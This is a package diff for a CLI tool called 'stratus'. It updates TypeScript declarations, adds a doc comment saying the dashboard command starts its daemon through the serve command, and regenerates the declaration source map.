199
|
export declare const openExternalUrl: (url: string) => Promise<void>;
|
|
179
|
-
export declare const startDashboardServer: (options: {
|
|
180
|
-
host: string;
|
|
181
|
-
port?: number;
|
|
182
|
-
}) => Promise<DashboardServerHandle>;
|
|
183
200
|
export declare const slackAppManifest: (agentName: string) => string;
|
|
184
201
|
export declare const runSetup: (command: ParsedSetupCommand, streams: CliStreams, env?: CliEnvironment) => Promise<number>;
|
|
185
202
|
export declare const runAgents: (command: ParsedAgentsCommand, streams: CliStreams, env?: CliEnvironment) => Promise<number>;
|
|
@@ -231,6 +248,15 @@ export declare const runLogs: (command: ParsedLogsCommand, streams: CliStreams,
|
|
|
231
248
|
*/
|
|
232
249
|
export declare const runService: (command: ParsedServiceCommand, streams: CliStreams, env?: CliEnvironment) => Promise<number>;
|
|
233
250
|
export declare const runAgentNew: (command: ParsedAgentNewCommand, streams: CliStreams, env?: CliEnvironment) => Promise<number>;
|
|
251
|
+
/**
|
|
252
|
+
* `stratus dashboard` — open the web UI against a running daemon, starting
|
|
253
|
+
* one in the foreground when there is none.
|
|
254
|
+
*
|
|
255
|
+
* The daemon is started by calling `runServe`, not by rebuilding its wiring:
|
|
256
|
+
* channels, approvals, the credential preflight, and the log writer are all
|
|
257
|
+
* decisions `serve` already makes, and a second copy of them here would drift
|
|
258
|
+
* the first time either side gained a rule.
|
|
259
|
+
*/
|
|
234
260
|
export declare const runDashboard: (command: ParsedDashboardCommand, streams: CliStreams, env?: CliEnvironment) => Promise<number>;
|
|
235
261
|
/**
|
|
236
262
|
* `stratus serve` — run the gateway (stratusd) in the foreground: load the
|
package/dist/index.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"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"}
|